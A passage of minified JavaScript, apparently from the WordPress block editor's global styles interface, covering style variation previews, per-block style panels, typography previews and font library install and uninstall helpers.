0,style:{height:&quot;100%&quot;,width:&quot;100%&quot;,position:&quot;absolute&quot;,top:0,overflow:&quot;hidden&quot;,filter:&quot;blur(60px)&quot;,opacity:.1},children:(0,ri.jsx)(Ba.__experimentalHStack,{spacing:0,justify:&quot;flex-start&quot;,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:d.slice(0,4).map(({color:m},h)=&gt;(0,ri.jsx)(&quot;div&quot;,{style:{height:&quot;100%&quot;,background:m,flexGrow:1}},h))})},f),({ratio:f,key:m})=&gt;(0,ri.jsx)(Ba.__unstableMotion.div,{variants:Zve,style:{height:&quot;100%&quot;,width:&quot;100%&quot;,overflow:&quot;hidden&quot;,position:&quot;absolute&quot;,top:0},children:(0,ri.jsx)(Ba.__experimentalVStack,{spacing:3*f,justify:&quot;center&quot;,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;,padding:10*f,boxSizing:&quot;border-box&quot;},children:e&amp;&amp;(0,ri.jsx)(&quot;div&quot;,{style:{fontSize:40*f,fontFamily:a,color:u,fontWeight:l,lineHeight:&quot;1em&quot;,textAlign:&quot;center&quot;},children:e})})},m)]})}var tx=Kve;var Cr=s(C(),1);function Xve(){let e=(0,nz.useSelect)(t=&gt;{let{__experimentalGetCurrentThemeGlobalStylesVariations:r}=t(iz.store);return!!r()?.length},[]);return(0,Cr.jsxs)(mr.Card,{size:&quot;small&quot;,isBorderless:!0,className:&quot;global-styles-ui-screen-root&quot;,isRounded:!1,children:[(0,Cr.jsx)(mr.CardBody,{children:(0,Cr.jsxs)(mr.__experimentalVStack,{spacing:4,children:[(0,Cr.jsx)(mr.Card,{className:&quot;global-styles-ui-screen-root__active-style-tile&quot;,children:(0,Cr.jsx)(mr.CardMedia,{className:&quot;global-styles-ui-screen-root__active-style-tile-preview&quot;,children:(0,Cr.jsx)(tx,{})})}),e&amp;&amp;(0,Cr.jsx)(mr.__experimentalItemGroup,{children:(0,Cr.jsx)(fr,{path:&quot;/variations&quot;,children:(0,Cr.jsxs)(mr.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,Cr.jsx)(mr.FlexItem,{children:(0,If.__)(&quot;Browse styles&quot;)}),(0,Cr.jsx)(vb,{icon:(0,If.isRTL)()?Nt:Ft})]})})}),(0,Cr.jsx)(qj,{})]})}),(0,Cr.jsx)(mr.CardDivider,{}),(0,Cr.jsxs)(mr.CardBody,{children:[(0,Cr.jsx)(mr.__experimentalSpacer,{as:&quot;p&quot;,paddingTop:2,paddingX:&quot;13px&quot;,marginBottom:4,children:(0,If.__)(&quot;Customize the appearance of specific blocks for the whole site.&quot;)}),(0,Cr.jsx)(mr.__experimentalItemGroup,{children:(0,Cr.jsx)(fr,{path:&quot;/blocks&quot;,children:(0,Cr.jsxs)(mr.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,Cr.jsx)(mr.FlexItem,{children:(0,If.__)(&quot;Blocks&quot;)}),(0,Cr.jsx)(vb,{icon:(0,If.isRTL)()?Nt:Ft})]})})})]})]})}var sz=Xve;var k6=s(Xe(),1),Ma=s(E(),1),Du=s(A(),1),E6=s(O(),1),La=s(D(),1),ox=s($(),1),dz=s(he(),1),fz=s(Xm(),1);var az=s(Xe(),1),lz=s(O(),1),cz=s(A(),1);var P6=s(C(),1);function Qve(e,t){return e?.filter(r=&gt;r.source===&quot;block&quot;||t.includes(r.name))||[]}function Sb(e){let t=(0,lz.useSelect)(n=&gt;{let{getBlockStyles:i}=n(az.store);return i(e)},[e]),[r]=Ee(&quot;variations&quot;,e),o=Object.keys(r??{});return Qve(t,o)}function uz({name:e}){let t=Sb(e);return(0,P6.jsx)(cz.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:t.map((r,o)=&gt;r?.isDefault?null:(0,P6.jsx)(fr,{path:&quot;/blocks/&quot;+encodeURIComponent(e)+&quot;/variations/&quot;+encodeURIComponent(r.name),children:r.label},o))})}var rn=s(A(),1),rx=s(E(),1);var Zs=s(C(),1);function St({title:e,description:t,onBack:r}){return(0,Zs.jsx)(rn.__experimentalVStack,{spacing:0,children:(0,Zs.jsx)(rn.__experimentalView,{children:(0,Zs.jsx)(rn.__experimentalSpacer,{marginBottom:0,paddingX:4,paddingY:3,children:(0,Zs.jsxs)(rn.__experimentalVStack,{spacing:2,children:[(0,Zs.jsxs)(rn.__experimentalHStack,{spacing:2,children:[(0,Zs.jsx)(rn.Navigator.BackButton,{icon:(0,rx.isRTL)()?Ft:Nt,size:&quot;small&quot;,label:(0,rx.__)(&quot;Back&quot;),onClick:r}),(0,Zs.jsx)(rn.__experimentalSpacer,{children:(0,Zs.jsx)(rn.__experimentalHeading,{className:&quot;global-styles-ui-header&quot;,level:2,size:13,children:e})})]}),t&amp;&amp;(0,Zs.jsx)(rn.__experimentalText,{className:&quot;global-styles-ui-header__description&quot;,children:t})]})})})})}var Nn=s(C(),1),{useHasDimensionsPanel:Jve,useHasTypographyPanel:$ve,useHasBorderPanel:eye,useSettingsForBlockElement:tye,useHasColorPanel:rye}=rt(ox.privateApis);function oye(){let e=(0,E6.useSelect)(n=&gt;n(k6.store).getBlockTypes(),[]),t=(n,i)=&gt;{let{core:a,noncore:l}=n;return(i.name.startsWith(&quot;core/&quot;)?a:l).push(i),n},{core:r,noncore:o}=e.reduce(t,{core:[],noncore:[]});return[...r,...o]}function nye(e){let[t]=pe(&quot;&quot;,e),r=tye(t,e),o=$ve(r),n=rye(r),i=eye(r),a=Jve(r),l=i||a,c=!!Sb(e)?.length;return o||n||l||c}function iye({block:e}){return nye(e.name)?(0,Nn.jsx)(fr,{path:&quot;/blocks/&quot;+encodeURIComponent(e.name),children:(0,Nn.jsxs)(Du.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,Nn.jsx)(ox.BlockIcon,{icon:e.icon}),(0,Nn.jsx)(Du.FlexItem,{children:e.title})]})}):null}function sye({filterValue:e}){let t=oye(),r=(0,dz.useDebounce)(fz.speak,500),{isMatchingSearchTerm:o}=(0,E6.useSelect)(k6.store),n=e?t.filter(a=&gt;o(a,e)):t,i=(0,La.useRef)(null);return(0,La.useEffect)(()=&gt;{if(!e)return;let a=i.current?.childElementCount||0,l=(0,Ma.sprintf)((0,Ma._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,a),a);r(l,&quot;polite&quot;)},[e,r]),(0,Nn.jsx)(&quot;div&quot;,{ref:i,className:&quot;global-styles-ui-block-types-item-list&quot;,role:&quot;list&quot;,children:n.length===0?(0,Nn.jsx)(Du.__experimentalText,{align:&quot;center&quot;,as:&quot;p&quot;,children:(0,Ma.__)(&quot;No blocks found.&quot;)}):n.map(a=&gt;(0,Nn.jsx)(iye,{block:a},&quot;menu-itemblock-&quot;+a.name))})}var aye=(0,La.memo)(sye);function lye(){let[e,t]=(0,La.useState)(&quot;&quot;),r=(0,La.useDeferredValue)(e);return(0,Nn.jsxs)(Nn.Fragment,{children:[(0,Nn.jsx)(St,{title:(0,Ma.__)(&quot;Blocks&quot;),description:(0,Ma.__)(&quot;Customize the appearance of specific blocks and for the whole site.&quot;)}),(0,Nn.jsx)(Du.SearchControl,{className:&quot;global-styles-ui-block-types-search&quot;,onChange:t,value:e,label:(0,Ma.__)(&quot;Search&quot;),placeholder:(0,Ma.__)(&quot;Search&quot;)}),(0,Nn.jsx)(aye,{filterValue:r})]})}var mz=lye;var Sz=s(Xe(),1),_z=s($(),1),eh=s(D(),1),wz=s(O(),1),xz=s(W(),1),Nf=s(A(),1),th=s(E(),1);var pz=s($(),1),ix=s(Xe(),1),hz=s(A(),1),gz=s(D(),1);var nx=s(C(),1),cye=({name:e,variation:t=&quot;&quot;})=&gt;{let r=(0,ix.getBlockType)(e)?.example,o=(0,gz.useMemo)(()=&gt;{if(!r)return null;let u={...r,attributes:{...r.attributes,style:void 0,className:t?jj(t):r.attributes?.className}};return(0,ix.getBlockFromExample)(e,u)},[e,r,t]),n=r?.viewportWidth??500,i=144,l=235/n,c=l!==0&amp;&amp;l&lt;1&amp;&amp;i?i/l:i;return r?(0,nx.jsx)(hz.__experimentalSpacer,{marginX:4,marginBottom:4,children:(0,nx.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui__block-preview-panel&quot;,style:{maxHeight:i,boxSizing:&quot;initial&quot;},children:(0,nx.jsx)(pz.BlockPreview,{blocks:o,viewportWidth:n,minHeight:i,additionalStyles:[{css:`
								body{
									padding: 24px;
									min-height:${Math.round(c)}px;
									display:flex;
									align-items:center;
								}
								.is-root-container { width: 100%; }
							`}]})})}):null},vz=cye;var yz=s(A(),1),bz=s(C(),1);function Tr({children:e,level:t=2}){return(0,bz.jsx)(yz.__experimentalHeading,{className:&quot;global-styles-ui-subtitle&quot;,level:t,children:e})}var Yr=s(C(),1),uye={backgroundSize:&quot;cover&quot;,backgroundPosition:&quot;50% 50%&quot;};function _b(e){if(!e)return e;let t=e.color||e.width;if(!e.style&amp;&amp;t)return{...e,style:&quot;solid&quot;};if(!(e.style&amp;&amp;!t))return e}function dye(e){return e&amp;&amp;((0,Nf.__experimentalHasSplitBorders)(e)?{top:_b(e.top),right:_b(e.right),bottom:_b(e.bottom),left:_b(e.left)}:_b(e))}var{useHasDimensionsPanel:fye,useHasTypographyPanel:mye,useHasBorderPanel:pye,useSettingsForBlockElement:hye,useHasColorPanel:gye,useHasFiltersPanel:vye,useHasImageSettingsPanel:yye,useHasBackgroundPanel:bye,BackgroundPanel:Sye,BorderPanel:_ye,ColorPanel:wye,TypographyPanel:xye,DimensionsPanel:Cye,FiltersPanel:Tye,ImageSettingsPanel:Pye,AdvancedPanel:kye}=rt(_z.privateApis);function Eye({name:e,variation:t}){let{user:r,onChange:o}=(0,eh.useContext)(Br),n=[];t&amp;&amp;(n=[&quot;variations&quot;,t].concat(n));let i=n.join(&quot;.&quot;),[a]=Ee(i,e,&quot;user&quot;,!1),[l,c]=Ee(i,e,&quot;merged&quot;,!1),[u]=pe(&quot;&quot;,e,&quot;user&quot;),[d,f]=pe(&quot;&quot;,e),m=hye(d,e),h=(0,Sz.getBlockType)(e),g=!1;m?.spacing?.blockGap&amp;&amp;h?.supports?.spacing?.blockGap&amp;&amp;(h?.supports?.spacing?.__experimentalSkipSerialization===!0||h?.supports?.spacing?.__experimentalSkipSerialization?.some?.(V=&gt;V===&quot;blockGap&quot;))&amp;&amp;(g=!0);let v=!1;m?.dimensions?.aspectRatio&amp;&amp;e===&quot;core/group&quot;&amp;&amp;(v=!0);let y=(0,eh.useMemo)(()=&gt;{let V=structuredClone(m);return g&amp;&amp;(V.spacing.blockGap=!1),v&amp;&amp;(V.dimensions.aspectRatio=!1),V},[m,g,v]),b=Sb(e),_=bye(y),S=mye(y),x=gye(y),T=pye(y),R=fye(y),F=vye(y),B=yye(e,u,y),z=!!b?.length&amp;&amp;!t,{canEditCSS:L}=(0,wz.useSelect)(V=&gt;{let{getEntityRecord:j,__experimentalGetCurrentGlobalStylesId:H}=V(xz.store),X=H();return{canEditCSS:!!(X?j(&quot;root&quot;,&quot;globalStyles&quot;,X):void 0)?._links?.[&quot;wp:action-edit-css&quot;]}},[]),M=t?b.find(V=&gt;V.name===t):null,k=(0,eh.useMemo)(()=&gt;({...l,layout:y.layout}),[l,y.layout]),I=(0,eh.useMemo)(()=&gt;({...a,layout:u.layout}),[a,u.layout]),U=V=&gt;{let j={...V};delete j.layout,c(j),V.layout!==u.layout&amp;&amp;f({...u,layout:V.layout})},G=V=&gt;{f(V===void 0?{...d,lightbox:void 0}:{...d,lightbox:{...d.lightbox,...V}})},Y=V=&gt;{let{settings:j,...H}=V;if(j?.typography){let X=Dy(r,i,H,e);X=Oy(X,&quot;typography&quot;,{...u.typography,...j.typography},e),o(X)}else c(H)},Z=V=&gt;{if(!V?.border){c(V);return}let{radius:j,...H}=V.border,X=dye(H),ae=(0,Nf.__experimentalHasSplitBorders)(X)?{color:null,style:null,width:null,...X}:{top:X,right:X,bottom:X,left:X};c({...V,border:{...ae,radius:j}})};return(0,Yr.jsxs)(Yr.Fragment,{children:[(0,Yr.jsx)(St,{title:t?M?.label:h?.title}),(0,Yr.jsx)(vz,{name:e,variation:t}),z&amp;&amp;(0,Yr.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-screen-variations&quot;,children:(0,Yr.jsxs)(Nf.__experimentalVStack,{spacing:3,children:[(0,Yr.jsx)(Tr,{children:(0,th.__)(&quot;Style Variations&quot;)}),(0,Yr.jsx)(uz,{name:e})]})}),x&amp;&amp;(0,Yr.jsx)(wye,{inheritedValue:l,value:a,onChange:c,settings:y}),_&amp;&amp;(0,Yr.jsx)(Sye,{inheritedValue:l,value:a,onChange:c,settings:y,defaultValues:uye}),S&amp;&amp;(0,Yr.jsx)(xye,{inheritedValue:l,value:a,onChange:Y,settings:y,isGlobalStyles:!0}),R&amp;&amp;(0,Yr.jsx)(Cye,{inheritedValue:k,value:I,onChange:U,settings:y,includeLayoutControls:!0}),T&amp;&amp;(0,Yr.jsx)(_ye,{inheritedValue:l,value:a,onChange:Z,settings:y}),F&amp;&amp;(0,Yr.jsx)(Tye,{inheritedValue:k,value:I,onChange:c,settings:y,includeLayoutControls:!0}),B&amp;&amp;(0,Yr.jsx)(Pye,{onChange:G,value:u,inheritedValue:y}),L&amp;&amp;(0,Yr.jsx)(Nf.PanelBody,{title:(0,th.__)(&quot;Advanced&quot;),initialOpen:!1,children:(0,Yr.jsx)(kye,{value:a,onChange:c,inheritedValue:l,help:(0,th.sprintf)((0,th.__)(&quot;Add your own CSS to customize the appearance of the %s block. You do not need to include a CSS selector, just add the property and value.&quot;),h?.title)})})]})}var R6=Eye;var Ax=s(E(),1),MU=s(A(),1),LU=s(D(),1);var Cz=s(A(),1);var Tz=s(C(),1);function Bu({children:e,className:t}){return(0,Tz.jsx)(Cz.__experimentalSpacer,{className:re(&quot;global-styles-ui-screen-body&quot;,t),padding:4,children:e})}var Mu=s(E(),1),Xl=s(A(),1);var oi=s(C(),1);function wb({parentMenu:e,element:t,label:r}){let o=t===&quot;text&quot;||!t?&quot;&quot;:`elements.${t}.`,n=t===&quot;link&quot;?{textDecoration:&quot;underline&quot;}:{},[i]=Ee(o+&quot;typography.fontFamily&quot;),[a]=Ee(o+&quot;typography.fontStyle&quot;),[l]=Ee(o+&quot;typography.fontWeight&quot;),[c]=Ee(o+&quot;color.background&quot;),[u]=Ee(&quot;color.background&quot;),[d]=Ee(o+&quot;color.gradient&quot;),[f]=Ee(o+&quot;color.text&quot;);return(0,oi.jsx)(fr,{path:e+&quot;/typography/&quot;+t,children:(0,oi.jsxs)(Xl.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,oi.jsx)(Xl.FlexItem,{className:&quot;global-styles-ui-screen-typography__indicator&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,style:{fontFamily:i??&quot;serif&quot;,background:d??c??u,color:f,fontStyle:a,fontWeight:l,...n},children:(0,Mu.__)(&quot;Aa&quot;)}),(0,oi.jsx)(Xl.FlexItem,{children:r})]})})}function Rye(){return(0,oi.jsxs)(Xl.__experimentalVStack,{spacing:3,children:[(0,oi.jsx)(Tr,{level:3,children:(0,Mu.__)(&quot;Elements&quot;)}),(0,oi.jsxs)(Xl.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:[(0,oi.jsx)(wb,{parentMenu:&quot;&quot;,element:&quot;text&quot;,label:(0,Mu.__)(&quot;Text&quot;)}),(0,oi.jsx)(wb,{parentMenu:&quot;&quot;,element:&quot;link&quot;,label:(0,Mu.__)(&quot;Links&quot;)}),(0,oi.jsx)(wb,{parentMenu:&quot;&quot;,element:&quot;heading&quot;,label:(0,Mu.__)(&quot;Headings&quot;)}),(0,oi.jsx)(wb,{parentMenu:&quot;&quot;,element:&quot;caption&quot;,label:(0,Mu.__)(&quot;Captions&quot;)}),(0,oi.jsx)(wb,{parentMenu:&quot;&quot;,element:&quot;button&quot;,label:(0,Mu.__)(&quot;Buttons&quot;)})]})]})}var Pz=Rye;var lx=s(A(),1);var kz=s(A(),1);var sx=s(C(),1),Aye=({variation:e,isFocused:t,withHoverView:r})=&gt;(0,sx.jsx)($p,{label:e.title,isFocused:t,withHoverView:r,children:({ratio:o,key:n})=&gt;(0,sx.jsx)(kz.__experimentalHStack,{spacing:10*o,justify:&quot;center&quot;,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:(0,sx.jsx)(ex,{variation:e,fontSize:85*o})},n)}),Ez=Aye;var Rz=s(A(),1),Ff=s(D(),1),Az=s(yo(),1),ax=s(E(),1);var xb=s(C(),1);function rh({variation:e,children:t,isPill:r=!1,properties:o,showTooltip:n=!1}){let[i,a]=(0,Ff.useState)(!1),{base:l,user:c,onChange:u}=(0,Ff.useContext)(Br),d=(0,Ff.useMemo)(()=&gt;{let y=go(l,e);return o&amp;&amp;(y=Qw(y,o)),{user:e,base:l,merged:y,onChange:()=&gt;{}}},[e,l,o]),f=()=&gt;u(e),m=y=&gt;{y.keyCode===Az.ENTER&amp;&amp;(y.preventDefault(),f())},h=(0,Ff.useMemo)(()=&gt;pf(c,e),[c,e]),g=e?.title;e?.description&amp;&amp;(g=(0,ax.sprintf)((0,ax._x)(&quot;%1$s (%2$s)&quot;,&quot;variation label&quot;),e?.title,e?.description));let v=(0,xb.jsx)(&quot;div&quot;,{className:re(&quot;global-styles-ui-variations_item&quot;,{&quot;is-active&quot;:h}),role:&quot;button&quot;,onClick:f,onKeyDown:m,tabIndex:0,&quot;aria-label&quot;:g,&quot;aria-current&quot;:h,onFocus:()=&gt;a(!0),onBlur:()=&gt;a(!1),children:(0,xb.jsx)(&quot;div&quot;,{className:re(&quot;global-styles-ui-variations_item-preview&quot;,{&quot;is-pill&quot;:r}),children:t(i)})});return(0,xb.jsx)(Br.Provider,{value:d,children:n?(0,xb.jsx)(Rz.Tooltip,{text:e?.title,children:v}):v})}var Df=s(C(),1),Oz=[&quot;typography&quot;];function oh({title:e,gap:t=2}){let r=$w(Oz);return r?.length&lt;=1?null:(0,Df.jsxs)(lx.__experimentalVStack,{spacing:3,children:[e&amp;&amp;(0,Df.jsx)(Tr,{level:3,children:e}),(0,Df.jsx)(lx.__experimentalGrid,{columns:3,gap:t,className:&quot;global-styles-ui-style-variations-container&quot;,children:r.map((o,n)=&gt;(0,Df.jsx)(rh,{variation:o,properties:Oz,showTooltip:!0,children:()=&gt;(0,Df.jsx)(Ez,{variation:o})},n))})]})}var zf=s(E(),1),Xs=s(A(),1);var FU=s(D(),1);var Jl=s(D(),1),ju=s(O(),1),Vu=s(W(),1),N6=s(E(),1);var A6=s(Qm(),1),Iz=s(W(),1),Nz=&quot;/wp/v2/font-families&quot;;function Fz(e){let{receiveEntityRecords:t}=e.dispatch(Iz.store);t(&quot;postType&quot;,&quot;wp_font_family&quot;,[],void 0,!0)}async function Dz(e,t){let o=await(0,A6.default)({path:Nz,method:&quot;POST&quot;,body:e});return Fz(t),{id:o.id,...o.font_family_settings,fontFace:[]}}async function Bz(e,t,r){let o={path:`${Nz}/${e}/font-faces`,method:&quot;POST&quot;,body:t},n=await(0,A6.default)(o);return Fz(r),{id:n.id,...n.font_face_settings}}var Vz=s(A(),1);var cs=s(E(),1),O6=[&quot;otf&quot;,&quot;ttf&quot;,&quot;woff&quot;,&quot;woff2&quot;],Mz={100:(0,cs._x)(&quot;Thin&quot;,&quot;font weight&quot;),200:(0,cs._x)(&quot;Extra-light&quot;,&quot;font weight&quot;),300:(0,cs._x)(&quot;Light&quot;,&quot;font weight&quot;),400:(0,cs._x)(&quot;Normal&quot;,&quot;font weight&quot;),500:(0,cs._x)(&quot;Medium&quot;,&quot;font weight&quot;),600:(0,cs._x)(&quot;Semi-bold&quot;,&quot;font weight&quot;),700:(0,cs._x)(&quot;Bold&quot;,&quot;font weight&quot;),800:(0,cs._x)(&quot;Extra-bold&quot;,&quot;font weight&quot;),900:(0,cs._x)(&quot;Black&quot;,&quot;font weight&quot;)},Lz={normal:(0,cs._x)(&quot;Normal&quot;,&quot;font style&quot;),italic:(0,cs._x)(&quot;Italic&quot;,&quot;font style&quot;)};var{File:jz}=window,{kebabCase:Oye}=rt(Vz.privateApis);function Ql(e,t={}){return!e.name&amp;&amp;(e.fontFamily||e.slug)&amp;&amp;(e.name=e.fontFamily||e.slug),{...e,...t}}function Iye(e){return typeof e!=&quot;string&quot;?!1:e!==decodeURIComponent(e)}function cx(e){let t=Mz[e.fontWeight??&quot;&quot;]||e.fontWeight,r=e.fontStyle===&quot;normal&quot;?&quot;&quot;:Lz[e.fontStyle??&quot;&quot;]||e.fontStyle;return`${t} ${r}`}function Nye(e=[],t=[]){let r=new Map;for(let o of e)r.set(`${o.fontWeight}${o.fontStyle}`,o);for(let o of t)r.set(`${o.fontWeight}${o.fontStyle}`,o);return Array.from(r.values())}function zz(e=[],t=[]){let r=new Map;for(let o of e)r.set(o.slug,{...o});for(let o of t)if(r.has(o.slug)){let{fontFace:n,...i}=o,a=r.get(o.slug),l=Nye(a.fontFace,n);r.set(o.slug,{...i,fontFace:l})}else r.set(o.slug,{...o});return Array.from(r.values())}async function Lu(e,t,r=&quot;all&quot;){let o;if(typeof t==&quot;string&quot;)o=`url(${t})`;else if(t instanceof jz)o=await t.arrayBuffer();else return;let i=await new window.FontFace(C6(e.fontFamily),o,{style:e.fontStyle,weight:String(e.fontWeight)}).load();if((r===&quot;document&quot;||r===&quot;all&quot;)&amp;&amp;document.fonts.add(i),r===&quot;iframe&quot;||r===&quot;all&quot;){let a=document.querySelector(&#039;iframe[name=&quot;editor-canvas&quot;]&#039;);a?.contentDocument&amp;&amp;a.contentDocument.fonts.add(i)}}function Cb(e,t=&quot;all&quot;){let r=o=&gt;{o.forEach(n=&gt;{n.family===C6(e?.fontFamily)&amp;&amp;n.weight===e?.fontWeight&amp;&amp;n.style===e?.fontStyle&amp;&amp;o.delete(n)})};if((t===&quot;document&quot;||t===&quot;all&quot;)&amp;&amp;r(document.fonts),t===&quot;iframe&quot;||t===&quot;all&quot;){let o=document.querySelector(&#039;iframe[name=&quot;editor-canvas&quot;]&#039;);o?.contentDocument&amp;&amp;r(o.contentDocument.fonts)}}function nh(e){if(!e)return;let t;if(Array.isArray(e)?t=e[0]:t=e,!t.startsWith(&quot;file:.&quot;))return Iye(t)||(t=encodeURI(t)),t}function Uz(e){let t=new FormData,{fontFace:r,category:o,...n}=e,i={...n,slug:Oye(e.slug)};return t.append(&quot;font_family_settings&quot;,JSON.stringify(i)),t}function Hz(e){return(e?.fontFace??[]).map((r,o)=&gt;{let n={...r},i=new FormData;if(n.file){let a=Array.isArray(n.file)?n.file:[n.file],l=[];a.forEach((c,u)=&gt;{let d=`file-${o}-${u}`;i.append(d,c,c.name),l.push(d)}),n.src=l.length===1?l[0]:l,delete n.file,i.append(&quot;font_face_settings&quot;,JSON.stringify(n))}else i.append(&quot;font_face_settings&quot;,JSON.stringify(n));return i})}async function Gz(e,t,r){let o=[];for(let i of t)try{let a=await Bz(e,i,r);o.push({status:&quot;fulfilled&quot;,value:a})}catch(a){o.push({status:&quot;rejected&quot;,reason:a})}let n={errors:[],successes:[]};return o.forEach((i,a)=&gt;{if(i.status===&quot;fulfilled&quot;&amp;&amp;i.value){let l=i.value;n.successes.push(l)}else i.reason&amp;&amp;n.errors.push({data:t[a],message:i.reason.message})}),n}async function Wz(e){e=Array.isArray(e)?e:[e];let t=await Promise.all(e.map(async r=&gt;fetch(new Request(r)).then(o=&gt;{if(!o.ok)throw new Error(`Error downloading font face asset from ${r}. Server responded with status: ${o.status}`);return o.blob()}).then(o=&gt;{let n=r.split(&quot;/&quot;).pop();return new jz([o],n,{type:o.type})})));return t.length===1?t[0]:t}function I6(e,t){return t.findIndex(r=&gt;r.fontWeight===e.fontWeight&amp;&amp;r.fontStyle===e.fontStyle)!==-1}function Yz(e,t,r){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};let o=t.pop(),n=e;for(let i of t){let a=n[i];n=n[i]=Array.isArray(a)?[...a]:{...a}}return n[o]=r,e}function ux(e,t,r=[]){let o=c=&gt;c.slug===e.slug,n=c=&gt;c.find(o),i=c=&gt;c?r.filter(u=&gt;!o(u)):[...r,e],a=c=&gt;{let u=f=&gt;f.fontWeight===t.fontWeight&amp;&amp;f.fontStyle===t.fontStyle;if(!c)return[...r,{...e,fontFace:[t]}];let d=c.fontFace||[];return d.find(u)?d=d.filter(f=&gt;!u(f)):d=[...d,t],d.length===0?r.filter(f=&gt;!o(f)):r.map(f=&gt;o(f)?{...f,fontFace:d}:f)},l=n(r);return t?a(l):i(l)}var qz=s(C(),1),Lo=(0,Jl.createContext)({});Lo.displayName=&quot;FontLibraryContext&quot;;function Fye({children:e}){let t=(0,ju.useRegistry)(),{saveEntityRecord:r,deleteEntityRecord:o}=(0,ju.useDispatch)(Vu.store),{globalStylesId:n}=(0,ju.useSelect)(j=&gt;{let{__experimentalGetCurrentGlobalStylesId:H}=j(Vu.store);return{globalStylesId:H()}},[]),i=(0,Vu.useEntityRecord)(&quot;root&quot;,&quot;globalStyles&quot;,n),[a,l]=(0,Jl.useState)(!1),{records:c=[],isResolving:u}=(0,Vu.useEntityRecords)(&quot;postType&quot;,&quot;wp_font_family&quot;,{_embed:!0}),d=(c||[]).map(j=&gt;({id:j.id,...j.font_family_settings||{},fontFace:j?._embedded?.font_faces?.map(H=&gt;H.font_face_settings)||[]}))||[],[f,m]=pe(&quot;typography.fontFamilies&quot;),h=async j=&gt;{if(!i.record)return;let H=i.record,X=Yz(H??{},[&quot;settings&quot;,&quot;typography&quot;,&quot;fontFamilies&quot;],j);await r(&quot;root&quot;,&quot;globalStyles&quot;,X)},[g,v]=(0,Jl.useState)(&quot;&quot;),[y,b]=(0,Jl.useState)(void 0),_=f?.theme?f.theme.map(j=&gt;Ql(j,{source:&quot;theme&quot;})).sort((j,H)=&gt;j.name.localeCompare(H.name)):[],S=f?.custom?f.custom.map(j=&gt;Ql(j,{source:&quot;custom&quot;})).sort((j,H)=&gt;j.name.localeCompare(H.name)):[],x=d?d.map(j=&gt;Ql(j,{source:&quot;custom&quot;})).sort((j,H)=&gt;j.name.localeCompare(H.name)):[];(0,Jl.useEffect)(()=&gt;{g||b(void 0)},[g]);let T=j=&gt;{if(!j){b(void 0);return}let X=(j.source===&quot;theme&quot;?_:x).find(ae=&gt;ae.slug===j.slug);b({...X||j,source:j.source})},[R]=(0,Jl.useState)(new Set),F=j=&gt;j.reduce((X,ae)=&gt;{let ne=ae?.fontFace&amp;&amp;ae.fontFace?.length&gt;0?ae?.fontFace.map(ue=&gt;`${ue.fontStyle??&quot;&quot;}${ue.fontWeight??&quot;&quot;}`):[&quot;normal400&quot;];return X[ae.slug]=ne,X},{}),B=j=&gt;F(j===&quot;theme&quot;?_:S),z=(j,H,X,ae)=&gt;!H&amp;&amp;!X?!!B(ae)[j]:!!B(ae)[j]?.includes((H??&quot;&quot;)+(X??&quot;&quot;)),L=(j,H)=&gt;B(H)[j]||[];async function M(j){l(!0);try{let H=[],X=[];for(let ne of j){let ue=!1,Ye=await(0,ju.resolveSelect)(Vu.store).getEntityRecords(&quot;postType&quot;,&quot;wp_font_family&quot;,{slug:ne.slug,per_page:1,_embed:!0}),ye=Ye&amp;&amp;Ye.length&gt;0?Ye[0]:null,oe=ye?{id:ye.id,...ye.font_family_settings,fontFace:(ye?._embedded?.font_faces??[]).map(Ve=&gt;Ve.font_face_settings)||[]}:null;oe||(ue=!0,oe=await Dz(Uz(ne),t));let ge=oe.fontFace&amp;&amp;ne.fontFace?oe.fontFace.filter(Ve=&gt;Ve&amp;&amp;ne.fontFace&amp;&amp;I6(Ve,ne.fontFace)):[];oe.fontFace&amp;&amp;ne.fontFace&amp;&amp;(ne.fontFace=ne.fontFace.filter(Ve=&gt;!I6(Ve,oe.fontFace)));let Re=[],ze=[];if(ne?.fontFace?.length??!1){let Ve=await Gz(oe.id,Hz(ne),t);Re=Ve?.successes,ze=Ve?.errors}(Re?.length&gt;0||ge?.length&gt;0)&amp;&amp;(oe.fontFace=[...Re],H.push(oe)),oe&amp;&amp;!ne?.fontFace?.length&amp;&amp;H.push(oe),ue&amp;&amp;(ne?.fontFace?.length??0)&gt;0&amp;&amp;Re?.length===0&amp;&amp;await o(&quot;postType&quot;,&quot;wp_font_family&quot;,oe.id,{force:!0}),X=X.concat(ze)}let ae=X.reduce((ne,ue)=&gt;ne.includes(ue.message)?ne:[...ne,ue.message],[]);if(H.length&gt;0){let ne=U(H);await h(ne)}if(ae.length&gt;0){let ne=new Error((0,N6.__)(&quot;There was an error installing fonts.&quot;));throw ne.installationErrors=ae,ne}}finally{l(!1)}}async function k(j){if(!j?.id)throw new Error((0,N6.__)(&quot;Font family to uninstall is not defined.&quot;));try{await o(&quot;postType&quot;,&quot;wp_font_family&quot;,j.id,{force:!0});let H=I(j);return await h(H),{deleted:!0}}catch(H){throw console.error(&quot;There was an error uninstalling the font family:&quot;,H),H}}let I=j=&gt;{let X=(f?.[j.source??&quot;&quot;]??[]).filter(ne=&gt;ne.slug!==j.slug),ae={...f,[j.source??&quot;&quot;]:X};return m(ae),j.fontFace&amp;&amp;j.fontFace.forEach(ne=&gt;{Cb(ne,&quot;all&quot;)}),ae},U=j=&gt;{let H=G(j),X={...f,custom:zz(f?.custom,H)};return m(X),Y(H),X},G=j=&gt;j.map(({id:H,fontFace:X,...ae})=&gt;({...ae,...X&amp;&amp;X.length&gt;0?{fontFace:X.map(({id:ne,...ue})=&gt;ue)}:{}})),Y=j=&gt;{j.forEach(H=&gt;{H.fontFace&amp;&amp;H.fontFace.forEach(X=&gt;{let ae=nh(X?.src??&quot;&quot;);ae&amp;&amp;Lu(X,ae,&quot;all&quot;)})})},Z=(j,H)=&gt;{let 